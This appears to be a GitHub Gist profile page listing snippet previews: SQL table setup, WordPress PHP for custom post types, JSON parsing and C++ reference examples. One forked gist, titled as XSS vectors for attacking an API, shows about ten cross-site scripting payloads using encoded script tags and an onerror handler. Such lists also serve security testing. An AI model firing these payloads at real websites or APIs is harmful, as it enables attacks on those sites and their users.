Skip to content

Instantly share code, notes, and snippets.

View titus-shoats's full-sized avatar

Titus Shoats titus-shoats

View GitHub Profile
CREATE TABLE IF NOT EXISTS `customers` (
`customerid` int(11) NOT NULL,
`name` char(50) NOT NULL,
`address` char(100) NOT NULL,
`city` char(30) NOT NULL
)
INSERT INTO `customers` (`customerid`, `name`, `address`, `city`) VALUES
(1, 'John Smith', '454 Peacock St', 'Charleston WV'),
@titus-shoats
titus-shoats / Custom Post Icon
Last active November 10, 2016 00:09
wordpress custom post icon
function admin_menu_styles(){
?>
<style>
#menu-posts-products > a > div.wp-menu-image.dashicons-before:before {
content: '\f483';
}
</style>
<?php
@titus-shoats
titus-shoats / post_types_taxonomy.php
Last active November 10, 2016 01:42
Get Wordpress Post Types Within Taxonomies
<?php
$args = array(
'public' => true,
'_builtin' => false
);
$post_types = get_post_types($args, 'names', 'and');
foreach ($post_types as $post_type) {
/**
@titus-shoats
titus-shoats / Process JSON To PHP
Last active November 10, 2016 01:42
json to php
<?php
$parse_json = file_get_contents('json.json');
$string = json_decode($parse_json,true);
foreach($string as $strings){
foreach ($strings as $key => $value) {
echo "<pre>";
echo $key . $value . "<br/>";
@titus-shoats
titus-shoats / Display Custom Post Type
Last active November 10, 2016 01:43
display custom post types
<?php
$args = array(
'post_type'=>'products'
);
$myproducts = new WP_Query($args);
while($myproducts->have_posts()) : $myproducts->the_post();
<?php
add_action('init','prowp_register_my_post_types');
function prowp_register_my_post_types() {
register_post_type( 'products',
array(
'labels' => array(
'name' => 'Products',
'singular_name'=>'Product',
'add_new'=>'Add New Product',
@titus-shoats
titus-shoats / 666_lines_of_XSS_vectors.html
Created March 27, 2017 00:39 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@titus-shoats
titus-shoats / References.cpp
Last active May 8, 2017 21:39
C++ Pass By References
#include "stdafx.h"
#include <iostream>
using namespace std;
void FreezeWindow();
void FreezeWindow() {
char response;
cin >> response;
}
@titus-shoats
titus-shoats / References.cpp
Created May 9, 2017 12:11
Returning multiple values with pointers
#include "stdafx.h"
#include <iostream>
using namespace std;
void FreezeWindow();
void FreezeWindow() {
char response;
cin >> response;
}
@titus-shoats
titus-shoats / References.cpp
Created May 9, 2017 12:28
Returning multiple values by reference
#include "stdafx.h"
#include <iostream>
using namespace std;
void FreezeWindow();
void FreezeWindow() {
char response;
cin >> response;
}